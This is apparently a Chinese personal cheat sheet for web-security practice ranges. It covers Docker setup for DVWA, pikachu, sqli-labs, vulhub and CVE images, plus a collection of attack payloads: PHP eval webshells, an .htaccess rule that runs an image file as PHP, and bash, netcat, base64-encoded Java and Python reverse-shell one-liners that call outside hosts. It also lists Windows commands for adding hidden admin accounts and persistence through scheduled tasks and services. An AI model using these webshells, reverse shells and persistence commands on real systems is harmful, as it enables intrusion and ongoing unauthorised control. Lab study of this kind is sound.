Safe: 靶场

靶场

常用操作

SQL授权

grant all privileges on *.* to root@'%' identified by 'root';
docker start $(docker ps -a -q)
docker stop $(docker ps -a -q)

docker rm -f `docker ps -a -q`
docker rm `docker ps -qf status=exited`

php

<?php phpinfo();?>
<?php eval(@$_GET['a']);?>
<?php eval(@$_POST['a']);?>

apache

# .htaccess文件内容
## 指定pxx.jpg文件用php解析
<FilesMatch "pxx.jpg">
Sethandler application/x-httpd-php
</FilesMatch>

## 或者当前目录所有文件以php解析
<IfModule mime_module>
SetHandler application/x-httpd-php
</IfModule>

# pxx.jpg文件内容
<?php eval(@$_POST["a"]); ?>

文件头的格式

.jpg FF D8 FF E0 00 10 4A 46 49 46
.gif 47 49 46 38 39 61,字符串: GIF89(7)a
.png 89 50 4E 47
压缩包文件:50 4B 03 04
BMP: 42 4D,字符串: BM
  • sql注入 高危
  • 文件上传 高危
  • 文件包含 仅PHP环境有

名词术语

  • poc: 漏洞证明代码。
  • exp: 利用系统漏洞进行攻击的动作。
  • payload: 有效载荷,攻击成功后,真正在目标系统执行的代码或者指令。
  • shellcode: 属于payload的一种,可以建立正向、反向shell。
  • RCE:远程命令或代码执行
  • 免杀技术全称为反杀毒技术, Anti-Virus 简称“免杀”,指是一种能使病毒木马免于被杀毒软件查杀的技术。免杀技术的涉猎面广泛,其中包含反汇编、逆向工程、系统漏洞等技术,内容基本上都是修改病毒、木马的内容改变特征码,从而躲避了杀毒软件的查杀。

ASCII码对照表: https://toolhelper.cn/Encoding/ASCII

man ascii #man-pages包
   表格
       为方便起见,我们给出了更紧凑的十六进制和十进制表格。

          2 3 4 5 6 7       30 40 50 60 70 80 90 100 110 120
        -------------      ---------------------------------
       0:   0 @ P ` p     0:    (  2  <  F  P  Z  d   n   x
       1: ! 1 A Q a q     1:    )  3  =  G  Q  [  e   o   y
       2: " 2 B R b r     2:    *  4  >  H  R  \  f   p   z
       3: # 3 C S c s     3: !  +  5  ?  I  S  ]  g   q   {
       4: $ 4 D T d t     4: "  ,  6  @  J  T  ^  h   r   |
       5: % 5 E U e u     5: #  -  7  A  K  U  _  i   s   }
       6: & 6 F V f v     6: $  .  8  B  L  V  `  j   t   ~
       7: ´ 7 G W g w     7: %  /  9  C  M  W  a  k   u  DEL
       8: ( 8 H X h x     8: &  0  :  D  N  X  b  l   v
       9: ) 9 I Y i y     9: ´  1  ;  E  O  Y  c  m   w
       A: * : J Z j z
       B: + ; K [ k {
       C: , < L \ l |
       D: - = M ] m }
       E: . > N ^ n ~
       F: / ? O _ o DEL

工具

DNS重绑定绕过

  • 浏览器插件
    • hackbar: 加载url并修改
    • Cookie-Editor: 修改cookie

镜像

dvwa

DVWA(Damn Vulnerable Web Application)是一款比较著名的漏洞靶场,很多 Web 安全的初学者都会拿它来练习,一些高校以及相关书籍里面也会介绍它。

DVWA的项目开源地址为https://github.com/digininja/DVWA

docker run -d --name dvwa -p 8080:80 -p 33060:3306 sagikazarmark/dvwa
docker run -d --name dvwa2 -p 8082:80 -p 33060:3306 citizenstig/dvwa # csrf Medium 代码与课件对应,所以用这个

#账号admin 密码password

停止及删除容器

$ docker stop dvwa
$ docker rm dvwa

环境

  • PHP 5.6.30
  • Apache 2.4.10
  • MySQL 5.5.54

用户名/密码

User: root
Password: p@ssw0rd
Database: dvwa

MySQL general_log 已开启(默认位置 /var/log/mysql/mysql.log :),以便可以监控查询

show variables like 'general_log'; -- 查看日志是否开启
set global general_log=on; -- 开启日志功能
show variables like 'general_log_file'; -- 看看日志文件保存位置
set global general_log_file='/var/log/mysql/mysql.log'; -- 设置日志文件保存位置

初始化

访问 http://127.0.0.1:8080 输入初始用户名密码

  • User: root
  • Password: p@ssw0rd

点击 Create/Reset Database 进行初始化

重新登录页面

  • User: admin
  • Password: password

选择项目难度,初始设置为Low

左边栏:(各漏洞利用模块)

  • Brute Fore 暴力破解
  • Command Injection 命令注入
  • CSRF
  • File Inclusion 文件包含
  • File Upload 文件上传
  • Insecure CAPTCHA
  • SQL Injection SQL注入
  • SQL Injection (Blind) SQL盲注
  • XSS (Reflected) 反射型跨站
  • XSS (Stored) 存储型跨站攻击

View Source 可以看到漏洞代码

靶场难度等级:DVMA Security

  • Low 低等级,限制措施少
  • Medium,High 可能要考虑绕过的方法
  • Impossible 不可能有漏洞

pikachu

Pikachu 也是一款 Web 漏洞靶场,涵盖各种 Web 漏洞类型的练习,也是基于 PHP+MySQL搭建的平台,是由国人开发的。平台采用中文描述和基本的页面设计, 相比sqli-labs 这种单调的界面还是好看很多的。

源地址: https://github.com/zhuifengshaonianhanlu/pikachu

docker pull area39/pikachu
docker run -d --name pikachu -p 8083:80 -p 33063:3306 area39/pikachu

点击红色字体进行初始化:

  • "提示:欢迎使用,pikachu还没有初始化,点击进行初始化安装!" –> "安装/初始化" –> "点击这里进入首页"

sqli-labs

sqli-labs 是一款用于学习 SQL 注入的靶场平台,覆盖了各种类型的 SQL注 入, 题目共 75 道,按难度划分为 4 页。sqli-labs靶场的难度循序渐进,对于提高 SQL 注入实战能力有很好的帮助。

源地址为 https://github.com/Audi-1/sqli-labs

docker run -dt --name sqli-labs -p 8085:80 --rm acgpiano/sqli-labs

upload-labs

docker run --name upload-labs -d -p 8084:80 cuer/upload-labs

webug

docker run -d -p 8082:80 -p 33060:3306 area39/webug #支付漏洞 默认账号:admin/admin 数据库账号:root/toor

#登录页:http://YOUR_IP_ADDRESS/control/login.php

CTF

VulHub

VulHub 真实漏洞靶场

Vulhub 是一款基于 Docker 和 docker-compose的漏洞测试靶场,进入对应目 录 并执行一条语句即可启动一个全新的漏洞环境,让漏洞复现变得更加简单, 让安 全研究者更加专注于漏洞原理本身。

Vulhub的项目开源地址: https://github.com/vulhub/vulhub

我们需要先从 GitHub 上下载 VulHub,然后进行相应目录去创建和运行容器

git clone https://github.com/vulhub/vulhub
cd vulhub/flask/ssti
sudo docker-compose up -d

漏洞

#Tomcat PUT 方法任意写文件漏洞(CVE-2017-12615)
#Tomcat版本:7.0.0-7.0.79、8.5.19
docker run --rm -d --name tomcat -p 8080:8080 docker.io/cved/cve-2017-12615

#S2-048 远程代码执行漏洞(CVE-2017-9791)
#影响版本: 2.0.0 - 2.3.32
docker run --rm --name s2-048 -d -p 8082:8080 docker.io/piesecurity/apache-struts2-cve-2017-5638

#JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)
docker run --rm --name cve-2017-12149 -d -p 8083:8080 docker.io/hackingpub/cve-2017-12149


反弹shell的poc

反弹 shell 命令: bash -i >& dev/tcp[IP|Domain]/PORT 0>&1 PC 端接收 Netcat命令: nc -lvp PORT

#pc
nc -lvp 4445

#kali  bash -i 表示启用交互模式 bash shell
bash -i >& /dev/tcp/192.168.1.100/4445 0>&1

Netcat 返回 shell(不支持 nc -e的情况)

#kali
nc 192.168.1.39 4445 | /bin/bash | nc 192.168.1.39 4446

#PC 4445 输入命令,4446 输出结果
PS D:\Program Files (x86)\safe\netcat-1.11> .\nc64.exe -l -p 4445
id

PS D:\Program Files (x86)\safe\netcat-1.11> .\nc64.exe -lvp 4446
listening on [any] 4446 ...
uid=0(root) gid=0(root) groups=0(root)

Netcat 返回 shell(Java)

java.lang.Runtime.getRuntime().exec('calc');

#nc监听指定端口
nc -lvnp 7777

#建立对应的网络套接字连接  exec 8<> /dev/tcp/<主机>/<端口>
echo 'bash -i &> /dev/tcp/6v728702f6.xxx.com/53267 0>&1' |base64 #YmFzaCAtaSAmPiAvZGVxxx

java.lang.Runtime.getRuntime().exec(\"bash -c {echo,YmFzaCAtaSAmPiAvZGV2L3RjcC82djcyODcwMmY2Lnh4eC5jb20vNTMyNjcgMD4mMQo=}|{base64,-d}|{bash,-i}\");

Netcat 返回 shell(Python)

nc -lvp PORT #监听

#kail
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('IP',PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
#s.fileno() 查看具体套接字建立的文件描述符 os 库的 dup2 方法将标准输入、输出、错误重定向到远程。

弱点检测

java

;   #忽略前面路径
  • ip/xxx/xxx/..;/actuator
  • ip/xxx/xxx/.;/actuator

防御

#临时 nginx
cat <<\EOF> global/deny_semicolon
if ($uri ~* ";") {
   return 403;
}
EOF

sed  '/server_name/{a\    include global/deny_semicolon;'$'\n''n;}' `find . -name '*.conf'` #测试
#sed -i '/server_name/{a\    include global/deny_semicolon;'$'\n''n;}' `find . -name '*.conf'`
nginx -t && nginx -s reload

#后端
禁用不必要的Actuator Endpoints,比如要禁用/env接口,可设置: endpoint.env.enabled=false
引入Spring-Security模块,配置访问权限验证,访问Actuator接口时需要登录。
Actuator访问接口使用独立端口,并配置不对外网开放。

常用命令

windows

#界面
lusrmgr.msc  #打开本地用户和组
eventvwr.msc #打开事件查看器
mstsc        #打开远程桌面
msinfo32     #系统信息。软件环境 -- 正在运行任务,关注不可用版本
msconfig     #系统配置。启动、服务中有无异常
regedit      #注册表。查看开机启动项是否正常
gpedit.msc   #组策略。

#用户
net user                    #查看用户
net user xxx3 123 /add      #添加用户 密码123
net user /add test$ 123     #添加隐藏账号 密码123
net user                    #查看用户


#网络
tasklist | findstr Xshell   #列出 xshell 进程号
netstat -ano                #进程信息
netstat -ano | findstr 1476 #根据进程号查找网络连接
route print                 #查看路由表

#提权相关
whoami                      #查看当前权限
ipconfig                    #查看服务器为内网还是外网
quser                       #查看管理是否在线
systeminfo                  #查看服务器信息及相应的补丁,可找相应的补丁提权
tasklist                    #查看当前运行的进程,是否有av,可利用的第三方的服务提权等
net user                    #查看用户
net user admin adqqq7! /add              #添加账户
net localgroup administrators admin /add #将admin这个用户加到管理组
net user guest /active:yes               #激活guest账户
net user administrator 123456            #设置用户密码
net user admin /del                      #删除admin账户
tasklist /svc                            #查看进程服务
tasklist /m dll                          #查看调用某个dll的进程
tasklist /v                 #显示当前进程和进程用户
qwinsta                     #显示会话情况
net config workstation      #查看当前登陆用户信息
hostname                    #主机名
set                         #查看环境变量
net view                    #显示当前域或工作组中计算机的列表
net statistics workstation  #查看主机开机时间
net share                   #查看共享文件夹

chcp 437                    #解决乱码问题

schtasks                    #查看计划任务
schtasks /delete /tn Updater #删除计划任务
schtasks /Create /tn Updater /tr C:\Users\Administrator\Desktop\7764.exe /sc minute /mo 1 #创建Updater任务,每1分钟自动执行7764.exe

#创建自启动服务
sc create test binpath= C:\Users\Administrator\Desktop\5555.exe #注意等号后面有空格。创建服务,服务名为test
sc config test start= auto  #设置服务为自动启动,即使服务被关闭了还会被启动起来
net start test              #启动服务

查看3389是否开启,0x0为开,0x1为关
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /vfDenyTSConnections
emacs

Emacs

org-mode

Orgmode

Donations

打赏

Copyright

© 2025 Jasper Hsu

Creative Commons

Creative Commons

Attribute

Attribute

Noncommercial

Noncommercial

Share Alike

Share Alike